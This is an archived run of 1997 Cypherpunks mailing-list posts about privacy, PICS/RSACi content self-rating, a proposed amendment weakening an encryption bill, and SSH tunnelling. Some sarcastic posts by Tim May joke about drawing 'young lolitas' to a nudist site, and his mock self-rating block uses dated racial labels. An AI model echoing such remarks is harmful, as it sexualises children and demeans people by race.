faster, smarter, and cheaper every year. Innovation and miniaturization
have created systems which can take pictures through the walls of your
building and record every sound you make with satellites and blast the
information to the other side of the world in a millisecond.  Computers
may already hold the financial, educational, medical and DNA records of
each and every one of us. If not, they soon will. Strangers may already
be collecting information on our whereabouts and cruising through our
most personal information with impunity. We may have already created a
world in which nothing is private.

>>>Do we try to protect Democratic freedoms by legislating safeguards
against the abuse of private data? Must we accept that the mightiest
individuals and institutions cannot be held accountable, and there is
no use in trying? Or do we simply acquiesce, and accept that privacy is
an outdated concept when cheap technology makes everyone vulnerable,
wolves and lambs alike? The choices are not easy, but in the words of
David Brin, "asking questions can be a good first step".

>>One of the possible instruments needed to thwart such surveillence is the
>>adoption of 'masks' which are socially acceptable for public use. Ideally
>>they should all look alike, sort of something out of The Prisoner. Once a
>>certain threshold of adoption has been passed the only option for law
>>enforcement will be to remove the offending devices or declare maks
>>illegal for public use (a real stretch for civil liberties).

>I was living in Malaysia at the end of the 70's. I was told by locals,
>that people were prohibited, by law, from wearing motorcycle helmets (or
>similar headgear) which had tinted facemasks. The rational was that a
>significant number of bank robbers had worn the helmets to obscure their
>faces from cameras and eye-witnesses at the time of their robberies.

It is true that many countries and many US states (e.g., California)
prohibit certain forms of dress.  The logic seems to be that the state has
a more significant interest in public safety than citizens do in their
apparel.  It is noteworthy that, in the US, the wearing of masks is
tolerated during Halloween.  Also, Moslem woman aren't forced to disrobe or
uncover their heads.  I'm confident that if a new-age religeous sect took
to wearing masks it would be difficult for law enforcement, at least in the
US, to overcome.

--Steve







From tcmay at got.net  Fri Jul 25 10:38:58 1997
From: tcmay at got.net (Tim May)
Date: Sat, 26 Jul 1997 01:38:58 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: 




At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
>---------- Forwarded message ----------
>Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
>From: James Love 
>To: Jonah Seiger 
>Cc: Declan McCullagh , fight-censorship at vorlon.mit.edu,
>    chris_barr at cnet.com
>Subject: Re: CDT, RSACi, and "public service" groups
>
>
>Jonah, I think the problems with the RSACi rating system are pretty
>obvious, and I also think it should be obvious that *any* rating system
>that would aspire to rate all or even a significant number of web pages
>would be a bad thing.  That said, it seems to me that there exist web
>pages that are unambiguously inappropriate for children.  Has CDT rejected

"Unambiguously inappropriate for children"?

No such thing. I can think of many, many things which many consider
inappropriate for children (what age?), but which others, including myself,
consider perfectly appropriate. I see no particular need to recite examples
here.

Even with "obscenity," whatever that is (I seem not to know it when I see
it, which would make me a poor Supreme Court Justice), that there are
obscenity prosecutions and trials would seem to indicate that such
materials are not "unambigously obscene."

The "mandatory voluntary" PICS/RSACi ratings, with penalties (presumably)
for "mislabeling," just are another form of content control.

If they are truly voluntary, then people are free to say that a nudist site
is appropriate for children, or not to label at all...the null label is
just another label.

(Nudist sites, in realspace as well as cyberspace, are a classic example of
the difficulty of judging "appropriate for children." Some jurisdicitions
are attempting to legislate against children being in nudist camps. They
would even claim that children seeing adults and other children nude is
"unambiguosly inappropriate." Others disagree. So, how would their web site
be labeled?)

The notion that something is "unambiguously" inapproprate, obscene,
heretical, treasonous, whatever, is a flawed concept.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri Jul 25 10:51:03 1997
From: tcmay at got.net (Tim May)
Date: Sat, 26 Jul 1997 01:51:03 +0800
Subject: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: 
Message-ID: 



[This message brought to you by Tim's Internet News Service, a service
devoted to news and opinions and thus exempt from the voluntary mandatory
self-ratings system imposed by the Protecting our Children Act of 1997.)


At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>---------- Forwarded message ----------

>On Thu, 24 Jul 1997, Jonah Seiger wrote:
>
>> We do not believe ratings are appropriate for news sites or sites that are
>> geared toward public discussion of political/social issues (CDT has refused
>> to rate our sites with RSAC).
>
>Of course that hasn't stopped CDT from, as I understand it, proposing
>a "public service site" exemption to RSAC, similar to the "news site"
>exemption.
>
>Under such an RSAC-PS scheme, organizations defined as legitimate "public
>service" groups -- and only those groups! -- would be exempt from labeling
>each of their pages for violence, nudity, and so on. After all, if CDT
>wanted to label and the RSAC-PS scheme didn't exist, they'd have to cordon
>off the portion of their site with the Pacifica decision as inappropriate
>for children. The RSAC working group discussed "public service sites,"
>according to RSAC head Stephen Balkam, during a conference call on
>July 10.

This echoes a similar dichotomy between the alleged "rights" of newsmen to
"protect their sources" and the rights of non-newsment to protect their
sources or confidants. I have never believed that a reporter for the
"Washington Post" has any more rights to refuse to disclose his
conversations than I have. The so-called "shield laws" seem to create
protected classes of the rights of free speech and association (and
"privacy" in a sense).

Same as with "religious confessionals." If I claim that conversations I
have are part of a priest-penitent or "confessional" relation--after all, I
am a prelate in the First Church of Odin--and the courts claim I am not a
"valid" religion....

Giving special status to some news organizations or some religious
organizations is a clearcut violation of the First.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years







From love at cptech.org  Fri Jul 25 11:00:46 1997
From: love at cptech.org (James Love)
Date: Sat, 26 Jul 1997 02:00:46 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: <33D8E731.8A663470@cptech.org>



Tim, if you think that no web site are unambiguously inappropriate for
children, then you are in a state of denial.  However, while I don't
expect to change your mind on that point, let me set the record straight
on your note.  I don't favor RSACi or other PICS systems.  I think these
are a mistake, and should be resisted.  However, I do favor a far less
ambitious and less informative system (less is more, as far as I am
concerned), which involves a simple, single voluntary tag, selected by
the web page publisher, at their discretion, of the nature of 



I think this is quite different from RSACi or SafeSurf's system, for the
reasons mentioned by my missive to Jonah.  


   Jamie   


Tim May wrote:
> 
> At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> >---------- Forwarded message ----------
> >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> >From: James Love 
> >To: Jonah Seiger 
> >Cc: Declan McCullagh ,
> fight-censorship at vorlon.mit.edu,
> >    chris_barr at cnet.com
> >Subject: Re: CDT, RSACi, and "public service" groups
> >
> >
> >Jonah, I think the problems with the RSACi rating system are pretty
> >obvious, and I also think it should be obvious that *any* rating
> system
> >that would aspire to rate all or even a significant number of web
> pages
> >would be a bad thing.  That said, it seems to me that there exist web
> >pages that are unambiguously inappropriate for children.  Has CDT
> rejected
> 
> "Unambiguously inappropriate for children"?
> 
> No such thing. I can think of many, many things which many consider
> inappropriate for children (what age?), but which others, including
> myself,
> consider perfectly appropriate. I see no particular need to recite
> examples
> here.
> 
> Even with "obscenity," whatever that is (I seem not to know it when I
> see
> it, which would make me a poor Supreme Court Justice), that there are
> obscenity prosecutions and trials would seem to indicate that such
> materials are not "unambigously obscene."
> 
> The "mandatory voluntary" PICS/RSACi ratings, with penalties
> (presumably)
> for "mislabeling," just are another form of content control.
> 
> If they are truly voluntary, then people are free to say that a nudist
> site
> is appropriate for children, or not to label at all...the null label
> is
> just another label.
> 
> (Nudist sites, in realspace as well as cyberspace, are a classic
> example of
> the difficulty of judging "appropriate for children." Some
> jurisdicitions
> are attempting to legislate against children being in nudist camps.
> They
> would even claim that children seeing adults and other children nude
> is
> "unambiguosly inappropriate." Others disagree. So, how would their web
> site
> be labeled?)
> 
> The notion that something is "unambiguously" inapproprate, obscene,
> heretical, treasonous, whatever, is a flawed concept.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of
> laws.
> Only one response to the key grabbers is warranted: "Death to
> Tyrants!"
> 
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital
> money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms,
> zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information
> superhighway."

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love at cptech.org






From declan at well.com  Fri Jul 25 11:08:25 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 26 Jul 1997 02:08:25 +0800
Subject: Cnet's stance on content filters
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 12:48:48 -0400
From: Lauren Gelman 
To: declan at well.com
Subject: Cnet's stance on content filters

>Date: Wed, 23 Jul 1997 17:40:12 -0400
>To: chris_barr at cnet.com
>From: Lauren Gelman 
>Subject: Cnet's stance on content filters
>Cc:
>Bcc:
>X-Attachments:
>
>with regard to: http://www.cnet.com/Content/Voices/Barr/072197/index.html
>
>First, I think there are a number of problems inherent in any content
>filtering system, some of which you discuss in your column.
>
>Given that, I think the main problem with the Internet Content Coalition
>approach is how, and who, will determine what is a "real news
>organization" is and what "bona fide news sites" are.  Is this the job of
>the ICC?  You completely ignore this issue both in the column and on the
>ICC web site.  What are the criteria that categorize Cnet as a "news
>organization?  Would EPIC and the ACLU (cited in your column) also fall
>under that category?  What about listservs where news is disseminated?
>
>The U.S. Public Policy Office for the Association for Computing (USACM)
>web site http://www.acm.org/usacm disseminates news about computer policy
>related issues as well as USACM position pieces on those issues.  It also
>archives back- issues of the "ACM Washington Update", a bi-weekly
>electronic newsletter.  Is the USACM web site a "bona fide news sites"?
>
>I believe these are important questions which need to be addressed before
>Cnet endorses any content-filtering approach to censorship. "Privilege"
>needs to be defined before Cnet or any other group can seek "to make sure
>that only real news organizations claim this privilege."
>
>
>-Lauren Gelman
>Associate Director
>USACM
>
>

/\ /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Association for Computing,             +   http://www.acm.org/usacm/
Office of U.S. Public Policy           *   +1 202 544 4859 (tel)
666 Pennsylvania Ave., SE Suite 302 B  *   +1 202 547 5482 (fax)
Washington, DC 20003   USA             +   gelman at acm.org









From tcmay at got.net  Fri Jul 25 11:14:24 1997
From: tcmay at got.net (Tim May)
Date: Sat, 26 Jul 1997 02:14:24 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: 



At 10:49 AM -0700 7/25/97, James Love wrote:
>Tim, if you think that no web site are unambiguously inappropriate for
>children, then you are in a state of denial.  However, while I don't
>expect to change your mind on that point, let me set the record straight
>on your note.  I don't favor RSACi or other PICS systems.  I think these
>are a mistake, and should be resisted.  However, I do favor a far less
>ambitious and less informative system (less is more, as far as I am
>concerned), which involves a simple, single voluntary tag, selected by
>the web page publisher, at their discretion, of the nature of
>
>

So long as it is completely voluntary, and I am free to label my sites as
"Suitable for children," whatever they contain, I have no problem with your
proposal.

(And marking my sites "suitable for children" may help me to recruit some
fine young lolitas to my nudist site, so I may actually _like_ your system.)

However, if you or Justice Rehnquist or Louis Freeh or Ralph Reed should
_disagree_ with my "voluntary" labeling of my site as "suitable for
children," and should then bring the courts into the process in a
prosecution or other action against me, then it will hardly be "voluntary,"
will it?

And since my standards of what is "suitable" and what is "not suitable" may
well differ from your standards, etc., why not just have an Office of the
Censor to resolve these issues so that I won't later be charged?

(I don't mean this as a cheap shot, by the way. I am sure you would recoil
in horror at the concept of an Office of the Censor. However, what other
option exists, given that I would otherwise have no idea what my site
should be "voluntarily" rated as? I happen to think my nudist web page is
indeed a good place for healty young lolita girls to come and hang out. My
values. Yours may be different.)


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Fri Jul 25 11:25:32 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 26 Jul 1997 02:25:32 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 11:03:33 -0800
From: "--Todd Lappin-->" 
To: fight-censorship at vorlon.mit.edu


http://www.wired.com/news/news/politics/story/5492.html


An Attempt to Hobble House Crypto Bill

 by Rebecca Vesely

 9:08am  25.Jul.97.PDT A Republican opponent of a House
 bill that would loosen controls on the use and export of
 encryption is circulating an amendment that would
 effectively cripple the legislation.

 The amendment, by Representative Benjamin Gilman
 (R-New York), who chairs the International Relations
 Committee, would make it unlawful to "manufacture,
 distribute, sell, or import any product within the United
 States that can be used to encrypt communications or
 information if the product does not permit the real-time
 decryption of such encrypted communications or
 information."

 This means that if law-enforcement officials could not
 crack an encrypted file within 24 hours - the time that FBI
 director Louis Freeh and other law enforcement officials
 say is reasonable for accessing information related to a
 crime - that strength of encryption would be illegal. The
 amendment set a civil penalty of US$100,000 for such
 violations.

 Currently, the most complex programs that can be cracked
 so quickly use 40-bit algorithms. The relative ease of
 breaking such code makes it nearly worthless on the
 marketplace, the high-tech industry has warned. Stronger
 encryption - 56-bit and 128-bit algorithms are being
 employed in many products now - is widely viewed as a
 cornerstone to the development of electronic commerce.
 Stronger code can safeguard data such as credit-card
 numbers as it travels over networks.

 Gilman had the amendment in hand earlier this week when
 his panel marked up the Security and Freedom through
 Encryption Act by Representative Bob Goodlatte
 (R-Virginia). The bill has been condemned by the
 government's chief law-enforcement and national-security
 officials because it would prevent domestic controls on
 encryption while relaxing export controls. The FBI and
 National Security Agency want a domestic key-recovery
 system to wiretap digital communications.

 Gilman was unsuccessful in trying to insert another
 provision during the mark-up - one to give the president
 the power to deny crypto export licenses on
 national-security grounds.

 "The second amendment was a staff proposal that basically
 was dependent on what happened to the first amendment,"
 said Jerry Lipson, spokesman for the House International
 Relations Committee. "There was no sentiment that this one
 should be introduced when the first one failed."

 A staffer for a congressman who supports the Goodlatte bill
 said that the new amendment was a "scare tactic" meant to
 show committee members that law enforcement won't stand
 for a relaxed approach to encryption policy. Indeed, FBI
 director Freeh met one-on-one with 10 International
 Relations panel members for hour-long sessions in the days
 before the mark-up, the staffer said. Nine of the 10 voted
 for the bill anyway.

 Some staffers and observers suggest that the Gilman
 amendment could be introduced when the bill goes to the
 Select Committee on Intelligence. Although the legislation
 has 214 co-sponsors in the House, none are members of
 that panel. And the bill still must reach two other
 committees before it goes to a full House vote: Commerce
 and National Security. The deadline for all committees to
 address the bill is 5 September.

"They don't draft amendments like this for the heck of it,"
 said Alan Davidson, staff counsel for the Center for
 Democracy and Technology. "It's a glimpse at what could be a
 very frightening future."


 Copyright � 1993-97 Wired Ventures, Inc. and affiliated
 companies.
 All rights reserved.









From owner-cypherpunks  Sat Jul 26 02:47:18 1997
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From junger at upaya.multiverse.com  Fri Jul 25 12:31:19 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Sat, 26 Jul 1997 03:31:19 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: 
Message-ID: <199707251922.PAA02459@upaya.multiverse.com>



: http://www.wired.com/news/news/politics/story/5492.html
: 
: 
: An Attempt to Hobble House Crypto Bill
: 
:  by Rebecca Vesely
: 
:  9:08am  25.Jul.97.PDT A Republican opponent of a House
:  bill that would loosen controls on the use and export of
:  encryption is circulating an amendment that would
:  effectively cripple the legislation.
: 
:  The amendment, by Representative Benjamin Gilman
:  (R-New York), who chairs the International Relations
:  Committee, would make it unlawful to "manufacture,
:  distribute, sell, or import any product within the United
:  States that can be used to encrypt communications or
:  information if the product does not permit the real-time
:  decryption of such encrypted communications or
:  information."

This is interesting in a perverse sort of way.  Notice that it does
not purport to forbid the _use_ of strong crypto.  Is software---
especially if it is not for sale, but just given away---a product?
Does writing software amount to manufacturing it?  

It actually does a very nice job of raising the first amendment issues
that are ultimately going to kill export controls, as well as import
controls, as applied to software.  It would seem that, unless one
believes that the first amendment only protects pornographers, but not
programmers, that this proposed legislation is either (i) blatantly
unconstitutional or (ii) totally ineffective (since, if it is not
unconstitutional, it could not be applied to the writing, distributing,
importing, or even selling of those texts that we call programs.)

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From tcmay at got.net  Fri Jul 25 13:01:04 1997
From: tcmay at got.net (Tim May)
Date: Sat, 26 Jul 1997 04:01:04 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: 
Message-ID: 



At 12:22 PM -0700 7/25/97, Peter D. Junger wrote:

>This is interesting in a perverse sort of way.  Notice that it does
>not purport to forbid the _use_ of strong crypto.  Is software---
>especially if it is not for sale, but just given away---a product?
>Does writing software amount to manufacturing it?
>
>It actually does a very nice job of raising the first amendment issues
>that are ultimately going to kill export controls, as well as import
>controls, as applied to software.  It would seem that, unless one
>believes that the first amendment only protects pornographers, but not
>programmers, that this proposed legislation is either (i) blatantly
>unconstitutional or (ii) totally ineffective (since, if it is not
>unconstitutional, it could not be applied to the writing, distributing,
>importing, or even selling of those texts that we call programs.)

I agree. Far better to have a law "so bad, so blatantly unconstitutional"
that it _must_ be struck down, thus giving freedom to encrypt as one wishes
the endorsement it needs.

The Beltway Bandits need to resist the temptation to "work the issues" and
help craft a compromise bill which is still bad but not nearly so blatantly
unconstitutional, as this might do some real mischief by delaying the
overturning for many years.

(And, in my opinion, the modern American system is filled with thousands of
examples of laws inconsistent with original Constitutional intent, but not
so blatantly clearcut that the Supremes would have to act. The "death of a
thousand cuts," or the "frog in boiling water," whatever metaphor one
prefers.)

Better that the "cyber rights" groups simply take an absolutist stance on
all of these issue, about cryptography, labelling, etc.

And no legislation is needed, as the Constitution is pretty clearcut on the
basic issues.

--Tim May


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ghio at temp0103.myriad.ml.org  Fri Jul 25 13:59:21 1997
From: ghio at temp0103.myriad.ml.org (Matthew Ghio)
Date: Sat, 26 Jul 1997 04:59:21 +0800
Subject: Data Fellows announces F-Secure SSH Tunnel&Terminal
In-Reply-To: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>
Message-ID: <199707252040.NAA02700@myriad.alias.net>



Mike  wrote:

> It would be neat if SSH Tunnel was compatible with PPTP, but I guess
> it's not.

Well, I don't know why you'd want to use PPTP anyway.  A friend of mine
tried connecting a Win95 PPTP client to my Linux box with a pppd running
on port 1723.  Windows bluescreened immediately and had to be rebooted.
Makes me wonder what one could do to an NT server which happened to leave
port 1723 open...


BTW, you don't need the new ssh to tunnel ppp, you can do it with the
standard ssh.  I've been doing it for over a year now, originally with
the old public-domain ssh version.

If you don't need encryption, you should use RFC1853 tunneling instead.
The overhead is much less than that of PPTP or ssh, so it will be faster.
It's included in Linux 2.0, tho not compiled in by default.






From minow at apple.com  Fri Jul 25 14:11:49 1997
From: minow at apple.com (Martin Minow)
Date: Sat, 26 Jul 1997 05:11:49 +0800
Subject: Government Access to Safes
Message-ID: 



You may have been following the recent murder of Gianni Versace
and the subsequent suicide of his alleged murderer. One minor
footnote that popped up in the news is a small safe located
in the houseboat where the suicide was found. This safe uses
a keypad lock (rather than a mechanical combination or physical
key).

Is this more secure than a regular safe lock? Does the government
have an access key that would premit a law enforcement officer
(with appropriate authority) to open any such lock? Should I
be required to deposit the secret key to my safe with a
government-mandated "escrow" agent?

Martin Minow
minow at apple.com







From nospam-seesignature at ceddec.com  Fri Jul 25 14:21:32 1997
From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com)
Date: Sat, 26 Jul 1997 05:21:32 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: <97Jul25.170516edt.32257@brickwall.ceddec.com>



On Fri, 25 Jul 1997, Tim May wrote:

> At 10:49 AM -0700 7/25/97, James Love wrote:
> >Tim, if you think that no web site are unambiguously inappropriate for
> >children, then you are in a state of denial.  However, while I don't
> >expect to change your mind on that point, let me set the record straight
> >on your note.  I don't favor RSACi or other PICS systems.  I think these
> >are a mistake, and should be resisted.  However, I do favor a far less
> >ambitious and less informative system (less is more, as far as I am
> >concerned), which involves a simple, single voluntary tag, selected by
> >the web page publisher, at their discretion, of the nature of
> >
> >
> 
> So long as it is completely voluntary, and I am free to label my sites as
> "Suitable for children," whatever they contain, I have no problem with your
> proposal.

Why is everything considered to be a federal government v.s. total anarchy
debate?

A PRIVATE organization could set up objective standards for content and
then produce ratings for sites (using a digital signature technique). 
Whether your site has nude pictures is something measurable.  There can
also be subjective standards.  If you find religion offensive, you can go
to sites rated as safe by an atheistic association.  If they misrate
things, switch organizations.

You can make a movie and say it is rated "G", but you cannot use the
MMPA's reputation capital to do so.  If you say it has been rated "G" by
the MMPA, it either has been, or your are committing fraud. 

You can place any tag on your site which you want, but the same
technological revolution will make reputation capital certification
possible, and your choice will be to have no site rating, or one provided
by an organization which has standards and you won't be able to forge.

If I want to create a site which advertises to children of a particular
age group, I will want to attract the largest number of children possible. 
No one will trust my own "safe for children" tag, but they will trust
someone independent.  So I go to them to have my site rated, and either
make adjustments, or debate some points, but the idea is that my page will
then become a place for children to go to because of the rating. 

> However, if you or Justice Rehnquist or Louis Freeh or Ralph Reed should
> _disagree_ with my "voluntary" labeling of my site as "suitable for
> children," and should then bring the courts into the process in a
> prosecution or other action against me, then it will hardly be "voluntary,"
> will it?

No, but if I am the one certifying your site, I would certify what I see
as appropriate for the given age group, and use a digital signature, so if
you altered your content, you would immediately lose my certification, or
I might do so for a probationary period until you established a reputation
for not swapping nice clowns for lusty nudes, much as people require
collateral and cosigners until someone has built up a good credit rating.

If you said "suitable for children", and the common opinion was that it
wasn't, you would develop a reputation for mislabeling, lying, fraud, or
psycosis.  If you keep calling a Stetson hat a potted plant, you lose
reputation capital.  And then people stop believing you on other issues
such as "I know what I am talking about when it comes to programming".

--- reply to tzeruch - at - ceddec - dot - com ---






From junger at upaya.multiverse.com  Fri Jul 25 14:31:02 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Sat, 26 Jul 1997 05:31:02 +0800
Subject: An Attempt to Hobble SAFE Crypto Bill
Message-ID: <199707252121.RAA02705@upaya.multiverse.com>



: http://www.wired.com/news/news/politics/story/5492.html
: 
: 
: An Attempt to Hobble House Crypto Bill
: 
:  by Rebecca Vesely
: 
:  9:08am  25.Jul.97.PDT A Republican opponent of a House
:  bill that would loosen controls on the use and export of
:  encryption is circulating an amendment that would
:  effectively cripple the legislation.
: 
:  The amendment, by Representative Benjamin Gilman
:  (R-New York), who chairs the International Relations
:  Committee, would make it unlawful to "manufacture,
:  distribute, sell, or import any product within the United
:  States that can be used to encrypt communications or
:  information if the product does not permit the real-time
:  decryption of such encrypted communications or
:  information."

Besides the first amendment issues that I raised earlier, there are 
certain other problems with this amendment.  

Say it takes 2,000 years to decrypt a message, now that is what I
would really call ``real time''.  And there could also be a message
that could be decrypted in ten seconds, but only by someone who has
the key.

Obviously this draft of an amendment is very rough, incomplete,
mistranscribed, or some or all of the above.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From nospam-seesignature at ceddec.com  Fri Jul 25 14:34:57 1997
From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com)
Date: Sat, 26 Jul 1997 05:34:57 +0800
Subject: PRZ and PGP honored on NET
In-Reply-To: 
Message-ID: <97Jul25.172804edt.32257@brickwall.ceddec.com>



Last night (7/24/97), on National Empowerment Television, the hosts of
Endangered Liberties honored Phil Zimmerman for his work on PGP, and they
even had an employee of PGP there to discuss the program and the policy
problems.

--- reply to tzeruch - at - ceddec - dot - com ---






From tcmay at got.net  Fri Jul 25 14:42:44 1997
From: tcmay at got.net (Tim May)
Date: Sat, 26 Jul 1997 05:42:44 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: 



At 2:07 PM -0700 7/25/97, nospam-seesignature at ceddec.com wrote:

>Why is everything considered to be a federal government v.s. total anarchy
>debate?

It's not.

>A PRIVATE organization could set up objective standards for content and
>then produce ratings for sites (using a digital signature technique).
>Whether your site has nude pictures is something measurable.  There can
>also be subjective standards.  If you find religion offensive, you can go
>to sites rated as safe by an atheistic association.  If they misrate
>things, switch organizations.

Few of us have problems with this approach. This is what I was advocating
when I said parents should control what their children get access to. Or,
more broadly, people can use whatever standards they wish.

But this is not what the debate has been about. If you think this, you
haven't been reading the threads about the proposed penalties for
"mislabeling" a site, the "mandatory voluntary" notions, etc.

>You can make a movie and say it is rated "G", but you cannot use the
>MMPA's reputation capital to do so.  If you say it has been rated "G" by
>the MMPA, it either has been, or your are committing fraud.

Yes, yes, yes. We all agreed with this a couple of years ago when this came up.


>If you said "suitable for children", and the common opinion was that it
>wasn't, you would develop a reputation for mislabeling, lying, fraud, or
>psycosis.  If you keep calling a Stetson hat a potted plant, you lose
>reputation capital.  And then people stop believing you on other issues
>such as "I know what I am talking about when it comes to programming".

Again, yes, yes, yes.

Sadly, your view and my view on this is _not_ what is being discussed in
Washington.

In fact, Washington need not even be involved in the slightest way to
implement a purely private system such as this. That they are says it all.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years







From enoch at zipcon.net  Fri Jul 25 14:53:15 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sat, 26 Jul 1997 05:53:15 +0800
Subject: Society's Overwhelming Interest
In-Reply-To: 
Message-ID: <19970725214616.22649.qmail@zipcon.net>



Tim May  wrote:

 > (And, in my opinion, the modern American system is filled
 > with thousands of examples of laws inconsistent with
 > original Constitutional intent, but not so blatantly
 > clearcut that the Supremes would have to act. The "death of
 > a thousand cuts," or the "frog in boiling water," whatever
 > metaphor one prefers.)

The Supremes can easily dismiss the Constitution any time they
like by using the magic phrase "Society's Overwhelming Interest."

We saw a good example of that today, in a ruling which said that
Society's Overwhelming Interest in protecting its citizen(-unit)s
outweighed the right of specific terminally ill citizen(-unit)s
to smoke marijuana to relieve intractable pain.

Even the First Ammendment falls victim to this phrase when the
Supremes rule that Society's Overwhelming Interest in protecting
its children makes it possible to commit a felony using only a
Playboy, a Jack and Jill, scissors, and a piece of scotch tape.

Similar arguments come out of the Court all the time about
Society's Overwhelming Interest in "preserving the family,"
"protecting children," "empowering parents," "thwarting
terrorists", and generally preserving the right of the state to
rule, to execute, to collect taxes, and to rip out the spleen of
anyone who publicly objects.

Those who regard the Supreme Court as some sort of inviolable
bulwark surrounding our First Ammendment crypto rights are
probably setting themselves up for a rude awakening in the not so
near future.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






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From: tidaore at aol.com (INFOREVOLUTION)
Date: Sat, 26 Jul 1997 05:59:15 -0700 (PDT)
Subject: "Find The Dirt On The Internet!"
Message-ID: <199707262159PAA54928@america.net>


